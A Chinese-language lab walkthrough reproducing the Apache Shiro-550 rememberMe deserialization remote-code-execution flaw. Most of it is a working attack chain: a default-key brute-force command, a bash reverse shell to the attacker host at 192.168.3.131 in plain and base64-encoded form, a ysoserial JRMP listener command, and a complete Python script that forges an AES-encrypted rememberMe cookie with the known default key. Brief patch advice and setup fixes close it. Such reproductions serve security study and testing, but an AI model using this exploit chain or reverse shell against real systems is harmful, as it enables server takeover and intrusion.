0%

Shiro rememberMe反序列化漏洞复现过程(Shiro-550)

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

那么,Payload产生的过程:

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单

影响版本:Apache Shiro < 1.2.4

1.3 特征判断:返回包中包含rememberMe=deleteMe字段

环境搭建:

角色 系统版本 IP 描述
靶机 Centos7 192.168.3.130 Shiro rememberMe反序列化漏洞环境
攻击机 kali-linux-2020.3 192.168.3.131 工具:maven、ysoserial、Shiro_exploit

工具准备:

maven配置

kali安装maven,执行以下命令

1
2
3
sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3

添加maven环境变量(在/etc/profile末尾添加maven环境变量:)

1
2
3
4
5
vim /etc/profile
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin

source /etc/profile

下载ysoserial并打包

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

下载Shiro_exploit

检查是否存在默认的key。安装Shiro_exploit

Github项目地址:https://github.com/insightglacier/Shiro_exploit

利用链

  1. 攻击机使用Shiro_exploit爆破默认key(也就是AES加密的密钥)
    1
    python shiro_exploit.py -u http://192.168.3.130:8080
    爆破出默认key如下:

image

  1. 攻击机制作反弹shell代码
    监听本地端口

    1
    nc -lvp 2222
  2. Java Runtime 配合 bash 编码。
    在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

    1
    2
    bash -i >& /dev/tcp/192.168.3.131/2222 0>&1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMxLzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}

    image

  3. 通过ysoserial中JRMP监听模块,监听8888端口并执行反弹shell命令。

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMxLzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}'

image

  1. 使用shiro.py 生成Payload
1
python shiro.py 192.168.3.131:8888

image

shiro.py代码如下(注意key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)换为第一步爆破出的key):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

1.7 构造数据包,伪造cookie,反弹shell

  1. 访问靶机环境(http://192.168.3.130:8080/)并登录,登录勾选remember me
    image
  2. 成功登录后访问任意url并抓包,查看到cookie中的remember me参数
    image
  3. 获得的rememberMe置入cookies中
    image
  4. 8888端口监听到流量信息

image
5. 2222端口成功反弹shell

image

1.8 修复建议

  1. 升级shiro到1.2.5及以上
  2. 如果在配置里配置了密钥,一定不要使用网上的密钥!!

1.9 遇到的问题

  1. maven打包ysoserial时编译报错,需要在kali中安装jdk1.8的环境,配置环境变量(一定不要安装最新版的jdk,还会报错,不清楚原因)
  2. 使用Shiro_exploit时报错No module named Crypto.Cipher,执行以下命令
    1
    2
    3
    sudo pip uninstall crypto
    sudo pip uninstall pycrypto
    sudo pip install pycrypto
  3. kali2020.2版本默认没有pip,需要安装

python3安装pip

1
2
curl -s https://bootstrap.pypa.io/get-pip.py | python3
pip -V

python2安装pip

1
2
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python2 get-pip.py

检查安装情况
image